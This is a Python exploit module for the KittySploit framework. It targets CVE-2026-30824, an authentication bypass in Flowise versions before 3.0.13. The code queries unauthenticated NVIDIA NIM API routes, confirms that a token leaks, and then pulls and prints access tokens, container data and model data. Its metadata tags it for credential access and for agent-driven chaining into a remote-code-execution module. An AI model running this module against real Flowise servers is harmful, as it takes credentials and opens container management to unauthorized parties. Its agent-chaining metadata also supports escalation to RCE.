Flowise NVIDIA NIM Auth Bypass (CVE-2026-30824)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Flowise NVIDIA NIM auth bypass token leak (CVE-2026-30824)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Flowise NVIDIA NIM Auth Bypass (CVE-2026-30824)',
        'description': (
            'Exploits CVE-2026-30824 in Flowise < 3.0.13: /api/v1/nvidia-nim/* routes '
            'are whitelisted in auth middleware, allowing unauthenticated token generation '
            'and container management API access.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-30824'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-30824',
        ],
        'tags': ['flowise', 'nvidia', 'nim', 'auth-bypass', 'token-leak'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access'],
            'expected_requests': 4,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'risk_signals'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2026_30824_detect',
                    'exploits/multi/http/flowise_cve_2026_69251_rce',
                ],
            },
        },
    }

    port = OptPort(3000, 'Flowise port', required=False)

    def check(self):
        r = self.http_request(method='GET', path='/api/v1/nvidia-nim/get-token', allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'NIM get-token not accessible', 'confidence': 'medium'}
        body = r.text or ''
        if 'access_token' in body and 'token_type' in body:
            return {'vulnerable': True, 'reason': 'Unauthenticated NVIDIA NIM token leak', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Token fields missing', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        for path in (
            '/api/v1/nvidia-nim/get-token',
            '/api/v1/nvidia-nim/containers',
            '/api/v1/nvidia-nim/models',
        ):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — HTTP 200')
                try:
                    print_status(json.dumps(json.loads(r.text or '{}'), indent=2)[:2000])
                except json.JSONDecodeError:
                    print_status((r.text or '')[:800])
        return True